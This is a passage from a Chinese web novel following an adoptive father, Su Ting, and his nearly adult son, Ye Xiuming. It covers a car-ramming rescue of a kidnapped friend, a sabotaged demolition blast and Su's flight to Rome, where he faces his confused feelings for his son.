苏廷轻笑一声,因这房间里尽是灰尘,他捂住口鼻。 “如果钟叔那边情况不好,我就只能把信托给顾见清了,那是上亿的现金,他不会不要的。” 苏廷:“你觉得值吗?” “一条人命,怎么都值。”叶修明看苏廷情绪实在低落,一把将他搂了过来,说:“打起精神来,下个地方我们去哪里。” 苏廷满脑门子官司,也不知道该如何作答,只说:“我们慢慢走吧,我想想。” 可叶修明精湛的车技不允许他们慢哪怕一点,很快他们就绕着三环路快速转了一大圈。就在两人都不知该如何是好的时候,苏廷突然说:“修明,停。” 叶修明开车转得飞快,早就不知道现下在什么位置,有些糊涂地道:“这是哪啊。” 苏廷指着不远处粗大的管道说:“我们去西郊。” “那间厂房是我的主场,在那里我打了顾见清的表弟施方逸,是最容易被忽视的地方。”苏廷看着叶修明,说:“我们冲进去?” “冲。” 那辆车在低吼中迅速完成一次漂亮的漂移,一路向西,就像风雷大作,喧嚣不止。 车辆在灯光酒色中穿行,最终走向无垠的黑暗。 西郊工业园到了。 一双洁白的运动板鞋从驾驶位伸出,还不等苏廷下车,立时把脚收了回去,自言自语道:“差点忘了我们要冲进去。” “小爸,你的车我给你修,只不过误伤了大爸该怎么办。” 苏廷:“留口气就行。” 发动机的嗡鸣声已经响彻云际,就像张开獠牙的猛兽。 叶修明的肾上激素全被勾了出来,发出一声充满暴戾的嘶吼,气势汹汹,摄人心魄,就在他即将把油门踩到底的时候,叶修明勾住苏廷的脖子向自己靠近,猛地亲在了对方的脸颊。 苏廷的脖子恍似生了锈,不够顺滑地转头去看他。 只见叶修明还沉浸在即将攻城略地的兴奋里,双目迸发着激进亢奋的光芒,倏地,苏廷感受到一股强大的推背力量,车头便像离弦的箭一样向蓝色仓库冲去。 “咣”的一声巨响后,仓库大门被巨大的冲击波震开,迈凯伦的前轮在铁门上空转了几圈后,与铁门一同摔在了地上,整栋建筑就像是经历了地震一般,开始狂烈地抖动。 车上的两人也没好到哪去,在快速的运动中骤然撞门,五脏六腑都好像移了位,让两人的表情痛苦不堪,叶修明拉着苏廷青筋勃-起的手,安慰他道:“都结束了。” 是的,结束了。 顾见清被那突然倒塌的铁门波及,两条双腿被压得动弹不得,发出“嗷呜”的惨叫。 而周叙白则在仓库的死角处,吓得缩成一团,满脸骇然。 迈凯伦那略微被撞凹的前脸不停地向顾见清靠近,再靠近。 叶修明体内残暴的基因仿佛被唤醒,想让手中的猎物死得其所。 就在车头堪堪将要碰到顾见清的时刻,苏廷喊了声“够了”,就强行灭了发动机,翻身跳出。 整个仓库发出软皮鞋底与地面摩擦的声音。 顾见清似乎伤得不轻,距离痛晕过去只差毫厘,而苏廷毫无怜悯,故意站在了他腿的上方,碾磨,再踩踏。 好像那是场独属于他的游戏。 “你现在知道疼了吗,顾见清。” 顾见清冷眸一闪,“你果然,还是比不上陆沉,他比你正常多了。” 第62章 周叙白看出这是顾见清的激怒战术,伸个脖子道:“苏廷!从现在开始,顾见清说的每个字都不要放进心里。” 苏廷捏紧拳头,没有回答,只是愣愣怔怔地望着痛苦抽动的顾见清。 那是他一整个青春。 现如今,青春如同一具古老的骸骨,身上密密麻麻都是谎言,句点被烈酒充斥。 叶修明显然也没把顾见清的放屁听进去,长腿从车内探出,猛烈的碰撞让他的膝关节受到轻伤,走路并不稳当,他走到周叙白那里给他解绑,问:“你还好吗大爸。” 周叙白僵黑着脸:“你们差点撞死我。” “我是说,没吓着你吧。” 周叙白:“…吓得人都快没了” “那就是没事了。”叶修明说。 周叙白:“……”他拍拍身上的土,晃晃悠悠地起身,刚想走过去踹那个王八蛋两脚,就听见顾见清猖狂地说:“叶修明,你吃了熊心豹子胆!撞我是吧!等着跟你爸一样吃牢饭吧!” 苏廷弯下了腰,用冷冷的声音对顾见清道:“我要怎么做,你才能不追究叶修明的责任。” “你糊涂了。”周叙白冷静道,“他先绑架的我。”他转头又说:“顾见清,你脑子也被撞坏了吗。” 顾见清摸着自己可能被撞废的腿,深叹一口气,“那我的腿呢,我的下半生呢。” 可以预料的是,顾见清不敢报警,除非他自己想在牢里住个十年八年,苏廷他们完全可以就此离开,任他自生自灭。 然而叶修明却像散财童子一样扔了张银行卡在顾见清的面前,说:“这里面大概有三千万,本来是我要用来开公司的,不过……算了,这些钱也够你和陆沉逍遥一段时间了,你拿走,我只有一个要求。” “别再来打扰苏廷。” 顾见清想也没想就捡起了卡,浅笑一声,好像对这个结果不算失望。 他的所欲所求一直都没那么复杂,钱到位了,一切好说。 周叙白首先心疼得牙都抽搐了,真想从顾见清手里把那卡夺回来,叶修明看他表情惨淡,赶紧安慰道:“大爸,我还欠你一条命呢,欠人东西的滋味不好受,这下算还清了吗?” 何止还清,这么算来,他周叙白成了第一个赎金比身家还高的人,他这辈子应该都要欠叶修明这个人情了。 苏廷终于不再执着于折磨顾见清的那条腿,从铁门上一个单步就跨下来,他回头道:“能给我俩一点时间吗。” 周叙白:“没必要跟他废话了。” 苏廷觉得他欠青春一个荒唐的仪式,所以坚持己见,给叶修明使了个眼色,后者就把周叙白拖了出去。 时至今日,谁也不知道蓝色仓库内顾见清对苏廷说了什么,只知道当苏廷再次从那间仓库中出来时,似乎从炼狱中锻造出更为刚劲的筋骨。 当时在仓库外,周叙白偷偷问叶修明:“所以当年那些照片到底是陆沉还是顾见清故意泄露的?” 叶修明从近乎麻木的状态回过神来,摇了摇头。 答案已经没有意义。 据说,顾见清简单让人处理了伤口就回到了英国,不过因为撞击太深,留下了终身残疾。 苏廷回家就把自己闷在了卧室,死活都不愿出来,他还吩咐佣人把叶修明看好,不准他离开家里半步。叶修明做好了丰盛的晚餐,端到苏廷的门前,说:“小爸,吃点东西吧。” “修明,我没有胃口。” “如果你是因为顾见清而不想吃饭,我可能要好好开导开导你。” 苏廷苦笑着,假装若无其事地推门出去,看了眼小桌上热闹的晚餐,走到衣帽架的大衣里取出包卡比龙,火花闪耀,从他的唇缝中间挤出一缕香烟。 “修明,我有个问题想问你。” 叶修明觉得大事不好,硬着头皮问:“什么事?” “撞仓库大门之前,你为什么要亲我?” 那是叶修明立誓这辈子想做的,却让肾上腺素刺激大脑让他提前做了,苏廷要是不说,他早就忘了,现在……到底该怎么办? 他该如何去解释? 总不至于说还有更多想做没做的在等着苏廷吧。 “把桌子放下。”苏廷说。 叶修明依言老实地将小桌放在餐桌上,回头后,发现苏廷距离自己只有咫尺之远,非常近身,苏廷的喜怒哀乐全都一览无遗。 “小爸,你听我解释,当时事发突然,我怕之后再没机会亲你,所以就……有点冒犯。” 苏廷迷蒙着双眼:“你在给我讲笑话,咱们以前亲过吗。” 叶修明迅速改口说:“我不是怕以后亲不到你,是怕失去你。” 他见苏廷还在起疑,笑道:“这都什么年代了,谁说养父子之间不能亲吻。” 叶修明揣着砰砰直跳的心,身子几乎贴到苏廷。 他微躬着,分别在苏廷的左右脸上分别落下两个缱绻的轻吻。 “好,这是吻面礼,还有其他的,我待会儿可以给你示范一下。” 苏廷的表情像是被雷击了,拿烟的手也被定住。 “停,”苏廷道,“修明,养父子关系比血缘亲子更要严格遵守边界,你要记住,再说,我也不是温言玉,亲来亲去的像什么样子。” 这就糊弄过去了? 苏廷不会再追究他的责任了吧。 要是像上次因为照片背后的字就断联五年,亲一口的惩罚更大他该怎么办。 为什么养父子更要遵守边界?是因为边界之外,他们还有无数种可能? 那条边界又是谁定的呢? “小爸,可我觉得……随心所欲地活着才叫活,如果什么都要受限制,那我当时宁可就跳进冰洞里。” “你的随心所欲,就是不跟我商量,给他顾见清几千万吗?”苏廷神思恍乱道,“虽然顾见清不配,但是这笔钱我会还给你,下次……下次不要再任性了。” 叶修明:“我不要。” “不要不行。” 叶修明忽然摸着撞伤的膝盖,一瘸一拐地走到沙发上瘫坐,目光沉静而坚毅地瞟了苏廷一眼,然后“啊”了一声,说:“小爸救我,我腿好疼。” 第63章 苏廷这才想到刚才撞击后叶修明的走路并不顺畅,应该是受伤了,他走到叶修明面前,灭掉香烟,用手轻触着微微发青的膝盖,问道:“这样碰起来疼吗?” 叶修明:“疼,小爸,你给我吹一吹。” 苏廷带着点愠怒抬了头,可能想给叶修明两棒子。 “从小我就看别人的家长,会给碰伤的孩子吹一吹,还一直没体验过一次。”叶修明摸着苏廷软软的发尾,在手上缠成结,说:“你能满足我这个要求吗?” 叶修明的形象似乎正在不断割裂着重合在一起,陌生到苏廷会感到困惑——这几年在外的时间,叶修明去哪学的这么多扯犊子的本事。 算了,也不是多么过分的要求,吹一下而已。 苏廷轻轻地半跪,先是看了叶修明一眼,再将目光定在膝盖那处红肿的狼藉,嘴唇微微噘起,呵出细细的、带着凉意的气流。 他的额发扫在眉骨上,有些痒,但他顾不上。 叶修明的喉结不明就里地上下滚动了一圈。 本来以为这小子是在装疼,没想到伤得还挺重的。 苏廷去医药箱取来了消肿止痛的药膏,抹来在伤处的周围缓缓打着圈,却在肿大的患处发现血丝正在弥漫,淤青缓慢形成。 令他揪心地疼。 “下次……”苏廷的声音卡在喉咙里,又干又涩,“不准再这么鲁莽了,我的心脏受不了。” 气息不稳,吹出去的节奏都乱了,苏廷慌忙垂下眼,不敢与叶修明对视,手指抹上更多的药膏,以此掩饰指尖剧烈的颤抖。 他的手腕倏地被一股力量攫走,惊得他恍然抬头。 叶修明的眼神沉得吓人,里面翻涌着许多苏廷未曾见过、也读不懂的东西。就像暴雨压城,黑压压的一片,充斥着雷声殷殷。 苏廷下意识地想要收手,却被箍得更紧,他被一双热烈的眼神纹丝不动地盯着,心中悄然翻涌着慌乱。 “小爸,如果顾见清今天绑的人是你——” 他一字一顿地说,好像这种假设都带着血腥味。 “我现在已经疯了。” 空气仿佛被这句话抽干。 苏廷又一瞬间感到自己不会呼吸了,腮侧轻微地抽动了一下,叶修明那双深不见底的眼睛死死地锁着他,让他有时间去读里面的东西。 可他绞尽脑汁,还是读不出来。 叶修明的眼睛里有更为原始的东西,那是种能撕裂所有冷静的狂暴。 他为什么会这样呢? 他们养父子的关系,因为那件事而画上五年的休止符,按理说关系应该更冷淡才对,可为什么自己忍不了他受伤,叶修明忍不了自己被绑? 叶明修率先在混乱中泄露的真实、带着占有欲和侵略性的眼神,到底意味着什么。 不管意味着什么,在自己这里都是不作数的。 苏廷淡淡地站起身,用冷淡疏离的语气说:“不可能出现这种假设。” 他刚走两步,就微微侧身说:“我这段时间会比较忙,可能不会天天回家,你自己照顾好自己。” 叶修明见机立刻道:“小爸,我刚好有件事想跟你商量,我开公司的启动资金没了,可以去扉合……去你那里锻炼一下吗。” 周叙白确实给自己说过叶修明这个不靠谱的“商业计划”,当时他只轻嗤一声,表示深深地怀疑,现在倒好,资金池不见了,正好断了他不切实际的念想。 “好吧,明天西郊爆破,你跟我一起吧。” “西郊……是蓝色仓库在的西郊吗。” “对,”苏廷说,“其实我完全可以把顾见清放在那里不管的。” 叶修明不敢置信地说:“你真想过这么做?” “说实话,想过。”苏廷一笑,“但是因为机缘巧合,他保住一条命。” 叶修明微微有些颤抖:“是因为我撞的这一下,你心软了。” 苏廷实话道:“是。” 其实苏廷言不由衷了一次,他与顾见清的恩怨是真实的,曾经的深爱也是真切的,对待爱过的人,人要心怀悲悯。 叶修明话锋突转:“小爸,为什么一定要在西郊建住宅,那里据说并不宜居。” 苏廷用略带迟疑的干涩语气说:“这个话题我不想继续了,明天你想来就来,不想来就不来,没有强求。” 话音未落,他就消失在叶修明逐渐恍惚的视野中。 那一晚,叶修明失眠了。 他闭上眼,就想起苏廷用手指给自己处理伤口时的触感,苏廷指腹的余温似乎扎进了心里,让他心乱如麻。 还有苏廷额间微微摆动的发梢。 看自己专注的眼神。 这些都让他迷惑乃至困顿,使他囚于一座看不见光的小岛,只能微蜷着身子,用力去分辨这种感情的成分。 他也失败了。 苏廷是救自己于水火的养父,不是大街上随便什么男人,任何僭越和冒失的行为都是对这种契约的亵渎。他甚至不想去动自己跃跃欲动的身体,只一味地沉浸在苏廷温柔的抚触中。 他很小就对“界限”有着强烈的敬畏感,父母疏于管理,焦点从不在他这里,他也不求不争,每天跟着不同的老师学习,勤修素养,习得一副好孩子的模样。 所以这样的“界限”也应该在他跟苏廷之间,永不切断。 没什么纠结的。 这一夜,很不平静,叶修明睡得并不算踏实,有几次都冲到苏廷的门外,听他屋内的动静。 咫尺的距离,却是天堑,真是个令叶修明悲绝的事实。 苏廷心烦的时候会看书直到半夜,这次也不例外,可当他连烦什么都搞不清楚的时候,更加让人意乱的时刻到来了。 苏廷听到了门外“咚咚咚”的脚步声。 他一向感觉灵敏,深夜的静谧又放大了各种感官,懵然地望着房门,不知道站那门背后的人是不是……叶修明。 苏廷的好奇胜过了那丝恐惧,踩着猫一样轻曼的步子,缓缓扣动房门把手。 只听“咔登”一声后,苏廷与有点鼠眉鼠眼的叶修明四目相对…… “小爸……我……我好像又发烧了。” 第64章 苏廷下意识的反应是叶修明骨折的胳膊、淤青的腿开始蔓延炎症,立即就想抓着叶修明往医院跑,但当他无意间看到叶修明心虚的眼神时,旋即又恢复了理智,眼神中带着一丝不满地看着叶修明。 又来这套? 令人诧异的是,在苏廷摸了摸叶修明的额头后,竟发现他真的有些低烧。 “我们去医院吧。”苏廷当机立断道,“看看是哪里出问题了。” 只有叶修明知道这烧是哪来的,是心中的无名烈火憋的。 就像碧海生潮,如渴思浆。 叶修明紧紧盯着苏廷那双乌黑的桃花眼,突然觉得浑身燥热,像被火烤了一样,他舔了舔下唇,心思稍定后才说:“还像以前那样,小爸抱着我睡一觉就好了。” 他说完也觉得有些过火,生生地与苏廷错开视线。 那阵浓烈的不安再次向苏廷袭来,仿佛曾经的“爸爸我爱你”成为了一则残酷无双的预言,会将苏廷再次拉回炼狱。 苏廷冷漠地回看他一眼,又沉默地退回到房间。 就像潮涨潮落之后,仅剩干涸的河床。 叶修明被那声振聋发聩的关门声敲打回了现实,他万不该在即将成年的时候对同性恋的养父提出这种要求,万一外人知道了,传出去了,苏廷还怎么做人? 可他想跟苏廷睡觉的原因,真的不是因为内心的欲念在作祟吗。 血气方刚的年纪,最容易将荷尔蒙误解为喜欢,自己那无处发泄的欲-望,凭什么要让最亲近的养父去承担呢。 “小爸,我刚才开玩笑,你早点睡吧。” 苏廷独靠在门背后,沉沉地闭上眼睛,他同叶修明如今不尴不尬的关系,到底该怎么办。 第二天清早,叶修明就学着以前苏廷的样子,提着个烘焙篮在他门口候着,苏廷很早醒来,也听见门外窸窸窣窣的动静,欧陆早餐的香气浓郁,却燃不起他的一点食欲,再出来的时候,他早已装扮好,是随时可以出门的装束。苏廷边走边拧着袖钉,在衬衣西裤外直接套上大衣,瞥了还单手拎着烘焙篮的叶修明一眼,说:“还不准备准备,不是要跟我去西郊吗。” 叶修明差点忘了还有这事,忙收拾一番后直勾勾地盯着苏廷,“今天我开车还是你开?” 苏廷斜睨着他手上的石膏,“某人别逞强了。” 甘当他嘴里“某人”的叶修明嘴角带着诡秘的微笑,说:“好啊,苏……小爸。” 苏廷双手按上方向盘的一瞬,装作不经意地问道:“你的腿好点了吗?” “早上发现全紫了,不过不要紧,我年轻,过几天就好了。” 苏廷斜斜地看过去,替他遗憾道:“这下你去不了裴安的车队了。” 叶修明:“有些事情不是我可以做,就一定会做的。” 他一语双义,聪明的苏廷一听便全部参透,突然说:“修明,如果有下辈子,你想当什么?” 这辈子还没过完,叶修明是想不到那么远的,笑道:“我不知道,你呢?小爸?” “我想当一片云,伤心时就结成雨滴流入山川,高兴时就化为蒸汽直上九霄。” “其实……”叶修明轻笑道,“你这辈子也可以想做什么就做什么的。” 苏廷郁结于肠地看着他,“有些事情我明知不可以做,就一定不会做。” “小爸,我……”叶修明吞了几个音,被苏廷发现了些许端倪,立马打断了他,“修明,就这样吧。” 随着油门轰的一声,黑如暗影的跑车疾驰而去。 西郊工业园区的前身是上世纪八十年代就建起的老厂,随着产业转型和时代变迁,老厂房的周围建起了许多新型工厂,但老厂那些带着峥嵘岁月痕迹的巨型管道,多年来屹立不倒,城西的开发也就因为地缘地貌的原因被耽搁了。 苏廷早年间在城西低价拿了不少的地,不夸张地说整个西区都被扉合收纳,所以他拼了命也要爆破这根难啃的骨头,还不惜花费五年的时间一点点地拆除。 周叙白一开始还差点因为西郊工业园跟苏廷闹不合,后来在知道苏廷还瞒着他收了这么多废地的时候,立刻将爆破送上日程。 今天就是算了老黄历的好日子。 爆破现场的监工拉着图纸,给周叙白讲解都哪些地方安置了炸药,还给了他几个安全帽,说:“这次主要爆破的区域是那些老管道,离我们这里比较远,你们想看也是可以的。” 周叙白掐着时间,焦急地等苏廷的到来。 “可以开始了吗?”那监工问。 “等等,老板还没到。” “你们老板还亲自到场?”监工啧啧称奇,“爆破有什么好看的,不知道的还以为他跟西郊有多大仇呢。” 这问题周叙白也问过苏廷,都被他淡淡地用一句“提高地价”带了过去。 所以就没再追着不放。 终于,苏廷在众人的瞩目中,迟迟赶来,与他一道的,还有个长相清俊的男孩,手上打着石膏。 叶修明虽然不理解拆除西郊工业园的意义,但这是苏廷想做的事,所以他就定要到场支持。现场正有条不紊地用对讲机进行爆破前的最后一次确认,苏廷的眼神带着餍足,眉目间气定神闲,仿佛真的是大仇得报的一天。 叶修明望着那间蓝色仓库,想起小时候逃课跟踪苏廷的事,不免心中一乐,也有种不知今夕是何夕的伤感。 对苏廷来说更重要的永远都不是回忆,而是生意,想到这里,叶修明便无奈地看着远处高大的管道,对苏廷说:“小爸,是不是太近了,我们离远一点?” 苏廷执拗地摇头,说:“就当是看场烟花。” 可是空气中隐隐的味道让叶修明眉头紧锁,他问苏廷:“你有没有问道一股苦杏仁的味道?” 苏廷摇摇头,对周叙白说:“可以开始了。” 周叙白把起-爆-器郑重地递给苏廷,“先提前祝你美梦成真。” 苏廷一笑:“就缺你这句话。” 倏地,他按下起-爆-器,沉闷而巨大的轰鸣声从远处传来。 第65章 那是预期的爆炸,沿着布下的爆-炸物依次发出巨响,曾经辉煌的厂房逐一变成废墟,倾塌下来,发出阵阵雷鸣声,苏廷的眼底映下这狂暴的一幕,笑意也来了,伴随着一个时代的轰塌。 紧接着,不是爆炸声的消退,而是从已爆破的管道伸出传来更大声量的爆炸,火焰如同巨兽,从管道的两端和裂缝中喷涌而出,整个大地都在剧烈震动。 不好!是管道里的残留物! 喷涌而出的还有大量燃烧不尽的火球,正向四面八方扩散开来,它们的冲击太大,以至于距管道几十米远的蓝色仓库都被波及了,瞬间变成一片火海。 “撤退!快退!” 监工已经吓得魂飞魄散,还是周叙白首先反应过来,在人群中挥舞着胳膊,示意大家快点跑。 被这突如其来的状况打懵的苏廷还在状况之外,轰鸣声遮住了周叙白的声音,让他怔怔地看着火海逐渐绵延成一片,成为炼狱般的存在。 从火球落下到连绵成海,一切都发生得太快,叶修明终于从周叙白的呼叫声中分辨出这并不是预期的效果,心中悚然一惊,在火舌即将临近的时刻,迅速单手抱住苏廷,用不容置疑的力量带他猛跑了一段,直到来到开阔的平地,他的手还是迟迟不愿撒开。 苏廷想从他的臂膀里退出来,可惜叶修明不让,并在管道远远喷出另一个火球后,下意识地用整个身体盖住了苏廷的。 他身体的温度仿佛滚烫的火舌,闷得自己就要窒息了。 苏廷终于清醒了过来,原来叶修明刚刚闻到的苦杏仁的味道就是剧烈爆炸的源头,那巨型管道里残留的量是个迷,威力也是个迷,直到大地都开始震动的时候,苏廷才明白过来,自己这是被郑力摆了一道。 他自己是个门外汉,不知道爆破的厉害在哪里,雄踞金城几十年的郑力还会不知道吗。 郑力一定是想从自己身上找到突破口,再来钳制叶修明,以至于叶淮安。 不久之后,扉合非法爆破导致十里八乡寸草不生的新闻就会铺天盖地地席卷而来,到时,想要消除这件事情的影像,苏廷还是只有求助于郑力。 到时候,他一定会让自己交出叶修明的。 没想到这段时间的昼劳夜苦,换来的是这样的结局。 苏廷看着眼前微微有些颤抖的叶修明,轻叹一声,兀自怪着自己。 是他太不小心了。 火海的威力还未减退,管道内又发出殷殷的爆炸声。 苏廷拍了拍叶修明的后背,轻声说:“你跟我也算见过末日了。” 叶修明意识到压着苏廷的时间太久,忙退下来,坐在地上,侧脸偏头看着那传说中的末日。 也许是此情此景让叶修明生出不一样的情愫,他的喉结滚动一圈后说:“我还想跟你一起看看别的。” 苏廷听进去了。 但他用极精巧的残虐说:“我不想,叶修明。” “算了,你就当我没说,”叶修明抓起苏廷的手轻轻抚触了一下,“但我希望有那么一天。” 苏廷顺势将手收了回来,周叙白慌里慌张地跑来,说:“怎么会这样?之前我们做勘测的时候没有发现管道里有残留啊!” 苏廷叹了口气,知道他永远也斗不过那些位高权重的人。 “我先报警,”周叙白叉着腰,看了眼尚在懵圈的苏廷,说:“我建议你这段时间躲在国外,今天这场爆破也是我的命令。” “不行,周叙白。”苏廷站了起来,“我不允许你再为我挡枪了。” “哦对了,你还要带着咱儿子,”周叙白也算是看明白了,批文拿下来这么快,难保不是谁的阴谋,“看好他,别丢了。” 说完,他就让秘书给他们定了到罗马的机票,再按出报警电话,给了他们一个“快走”的眼神。 叶修明突然开了窍,用一言难尽的目光看着这场火灾。 他是个顶聪明的人,几乎很快就将这次事故与之前的车祸联系起来,不出意外,那个人一定是郑力。 所以叶修明不想牵连到苏廷,劝他:“留在国内有危险,小爸……都怪我。” 苏廷的心中生出一丝暖意,叶修明也是受害者,他能有什么错呢。 “但是我想留下来解决郑力,小爸,你不用管我,先走吧。” 苏廷惊道:“你能怎么解决?” 叶修明长舒一口气:“他不想让叶淮安开口举证,我就让他得逞。” 周叙白突然心生敬佩地看了叶修明一眼,知道他这么小的孩子能有这么大的魄力实属不易。 只要他能把叶淮安和郑力之间的事情想明白、解决清楚,才能永绝后患。 躲避永远不是办法。 所以当周叙白叫的车到了后,他直接把苏廷抱到了里面,“咣”的关了车门。 他拍了拍车门,司机立即就踩了油门,带着苏廷离开了这片混沌。 周叙白转身看着叶修明,突然发觉这孩子长高了,也成熟了。 “你真的想好怎么做了吗。”周叙白问。 “郑力的所作所为已经影响到了小爸,我只能这么做。” 周叙白:“可你父亲把你扔到没人认识的地方,绝不是让你有一天暴露在敌人面前的。” “他不是也没松口咬死郑力吗。”叶修明道,“他们的事情一定没那么简单,可一旦牵扯到我小爸的安危,事情就变得简单了。” 苏廷很快就在周叙白安排的眼线面前,快速出了关。 他回看了眼关内,有些落寞地垂下眼睛,当他再次呼吸着金城的空气后,飞机很快平缓地起飞,向罗马进发。 十多个小时后,他将再次踏上这片盼望许久的土地。 周叙白还算了解他。 罗马这座城市是活的博物馆,人们在古迹旁生活、工作、恋爱,在街上步行总有时空错乱的感觉。 再加上交通混乱,充斥着各种摩托车的噪音,喧嚣中自有温暖。 他这次入住在万神殿旁西班牙阶梯顶端的奢华酒店,景色绝佳,屋顶酒吧可以俯瞰全城,到了晚上,他便走到广场找了个舒适的位子坐下,呼吸着整座城市杂乱的气息。 就在他决定回酒店时,一个熟悉的声音响起:“苏廷,怎么是你。” 第66章 苏廷先是看到一双白色的德训鞋,视线再往上,是条白色的长裤和意式咖色的休闲西装,苏廷立即起身,视线与那位不速之客齐平。 “傅西辞。” 傅西辞打趣道:“以前见你总是带瓶酒,现在反而觉得手里少点什么。” “你怎么在罗马?” 傅西辞说:“我还没来得及跟你说,我已经把CaosOrdinato的租约退了,决定在罗马重新开始。” 苏廷确实没时间留意Threshold的格局,对这位老相识的骤然离开也一无所知,只叹世事无常,人生就是一次巨大的迎来送往。 他问:“为什么想离开国内呢。” 傅西辞:“因为天天看见一个不可能的人,对自己是场煎熬,所以还不如永不相见。” 苏廷笑了,说:“想喝酒吗?” “行啊,我的CaosOrdinato开到了你曾经许愿的地方,想去看看吗?” 苏廷恭敬不如从命地跟在了傅西辞的身后,傅西辞说:“我之所以给自己的餐厅起名为‘有序的混乱’,说的就是罗马这座城市,你能看到古老与现代、神圣与世俗、辉煌和破败,总能在混乱里找到某种岌岌可危的秩序,就像人与人之间的感情,混乱至极的是冲动,而只有爱才能在混沌里找到有序。” 苏廷笑道:“原来是这样,我还是第一次听说。” “你是为了躲西郊爆炸事故才出来的吧。”傅西辞引他到了CaosOrdinato,熟悉的布局让苏廷找到了一丝在家的感觉。 “瞒不过你。”苏廷无奈一笑,“新闻我不敢看,都写了什么?” “通篇一律的黑稿,说你们扉合草菅人命,再配上现场的图片,连我都觉得你是个黑心的商人了。”傅西辞给苏廷取来他最爱的起泡酒,让服务生倒入杯中。 “你也信吗?” “我认识你,当然不信。” 苏廷笑笑:“可我确实如他们所写,只是为了抬高西区的房价才这么做的。” “扉合还发出一则声明,说管道内的爆-炸物是有心人放置的,已报警取证,不过这声音太微弱了,很快就湮没在那些黑稿里。”傅西辞说。 “谢谢你帮我留意国内的新闻。” 苏廷还关心一件事,别人会不会顺藤摸瓜地找到自己曾泄露的那些照片,又会不会因此大做文章。 “我的那些照片……没在这次事故里一起被扒吧。” 傅西辞敬他一杯,说:“没有,舆情被控制在了可控的范围,一切关于你本人的事情都没被深挖。” 这背后不知道周叙白做了多少工作,又不知是否有叶修明的推波助澜。 修明……怎么样了?“我想去打个电话,可以吗?”苏廷问道。 “你永远是自由的。”傅西辞深情地看着他说。 苏廷愣了愣,转身踏入街道,指尖颤抖地给叶修明拨去电话。 试了几次后,都是无法接通,于是他改打周叙白的电话。 很快周叙白憔悴的声音就传来了:“还好吗?” “我还好,调查得怎么样了?” 周叙白:“警察说这周之内就会有消息,就是媒体的攻击太猛了,都两个跌停了,这次市值不知道要损失多少。” “停,”苏廷打断他,“修明呢?为什么我打不通他的电话?” “我派去跟踪他的人说,小叶子从中午就去了郑力家,现在还没回来,我跟钟祥正在商量对策。”周叙白说的时候也是双眼灼痛,不知道苏廷听了会多心痛。 “去了郑力家……那修明就是被人控制了,能报警吗?” “我们第一时间就找了警察,但他们好像不敢搜查郑力的家,这事也就不了了之了。”周叙白急得半个脑袋都是麻的,揉着头皮道:“他应该不会对小叶子做什么的。” 苏廷也拿不准了,身子也是颤抖的,忙拢了拢围巾,说:“周叙白,我觉得我就是个懦夫。” “那你也不能回来!”周叙白近乎丧心病狂,“万一郑力跟那帮警察沆瀣一气,最后咬死说管道里的残留物就是我们没有勘验仔细,你想坐牢吗??” “可我也不会让你去吃牢饭,第二次。” “放心,只有法人才有责任,所以你只能躲着。” 苏廷挣扎道:“可是修明该怎么办。” “那个郑力不就是想让叶淮安在牢里闭嘴吗,他敢对小叶子动一根手指头,我都会让钟祥给牢里的叶淮安送信!” 事态好像被相互制约的两股势力稳住了,苏廷顿时心下略宽,想来修明也不会真被波及到人身安危。 可世间的险恶,叶修明终于要以身试法了。 就算只是心灵上的挫伤,也足够苏廷觉得有些怅然,当他回到餐厅时,故意比傅西辞多喝了几轮,很快脸上就有了一丝醉意。 傅西辞想起自己离苏廷最近的那晚,难免有些意见,伴着深沉平和的夜,他说:“那晚我应该对你下手的,说不定你就是我的了。” 苏廷醉眼朦胧道:“那你为什么不做呢?” 傅西辞说:“我不是圣人,但也不是凡人,就当我找到了属于自己的有序的混沌吧。” 苏廷没有回应,抄起外套,拉着傅西辞向街边走去,他明显放下了沉重的戒备,来到了近在咫尺的许愿喷泉边。 他从外套中取出一枚硬币,双手捂在嘴边喃喃了几句,然后随着一个漂亮的抛物线,那枚硬币掉入水中。 傅西辞想起七年前在这里遇到苏廷时的场景,心里有种灼痛,他小心翼翼地搂着苏廷的腰,说:“我还给你找了很多古币,你肯定会喜欢。” 苏廷眼睛亮晶晶地回头看他,在月色中他的轮廓很美,由衷地笑道:“这次我许的愿里有‘再回罗马’了,所以……一定可以实现的对吧。” “你许的什么愿?” “秘密。” 傅西辞:“你的秘密太多了。” 苏廷:“那是因为我其实是非常肤浅的人,只能用‘秘密’来刻意营造神秘感。” 傅西辞不信他是这样的人,予以缄默。 苏廷眼中有光,突然说:“你不觉得我很虚伪吗,修明?” 第67章 微凉的寒夜里,四处是陌生国度的气息和来自异域的语言,让苏廷不再如国内一般压抑自己,有了些许在国内难以寻觅的活泼的影子。 他有些玩味地看着傅西辞攻击性十足的脸,渐渐变成叶修明那张俊秀的脸后,毫不踟躇地说:“你不觉得我很虚伪吗?修明?” 修明?那不是他的养子? 傅西辞:“你把我认成了那个喜欢吃洋蓟的小子,他现在还是你的养子?” 苏廷“啊?”了一声,似乎有些失望,“你不是修明。” 他用更加失望的语气说:“他还是我养子。” 傅西辞:“你好像挺不满的。” 苏廷像被谁看穿了一切,忙否认:“没有,我没有不满。” “我不是很懂国内的法律,他到十八岁不是就自动跟你解除养父子关系了?” 苏廷的心一震,说:“我也不清楚……但我的确说过到他十八岁就解除领养手续的狠话。” 傅西辞的内心涌起洪流和巨浪:“你喜欢他?” 苏廷的第一反应就是用言语告诉他不可能,可话到嘴边却迟疑了。 傅西辞对他的默认感到再一次的惊涛骇浪,说:“你又给自己选了条绝路。” 苏廷嘴硬道:“我不是承认自己有非分之想,就算有的话,又怎么算是绝路。” “你喝醉了,难免不理智,等你酒醒了自然能回过神来。叶修明从十岁出头就被你养在家里,后来还跟你好了的话,你让别人怎么想、怎么做文章?” 傅西辞的话犹如闷棍一根,打得苏廷措手不及。 他是放纵了。 他也绝对不该对叶修明有强烈而混乱的情感。 “西辞,你还会回国内吗?” 傅西辞的笑是尘世难逢的一笑:“不会了苏廷,今天是我们的永别。” 他走过来轻轻地抱住苏廷,两人帅气的身影引来一阵口哨声。 “答应我,别让自己的这一生这么难。” 苏廷满腔的热血突然变成凛凛怀冰,应了一声,再道再见。 与此同时,叶修明正在郑力家享用着豪奢大餐,丝毫不见慌乱和恐惧,他对坐在桌对面的郑力说:“说起来,咱们应该还吃过几次饭。” 郑力凛道:“别废话,我让你做的事情做了吗。” “你是说让人传消息给我爸,说你拿住我了?” 郑力道:“是。” 叶修明的眼神慢无定向地在屋子里转了一圈,故作纨绔地说:“你要先答应我说的,让那些警察不要在调查管道残留物上出幺蛾子,你我都知道二次爆炸是怎么发生的。” 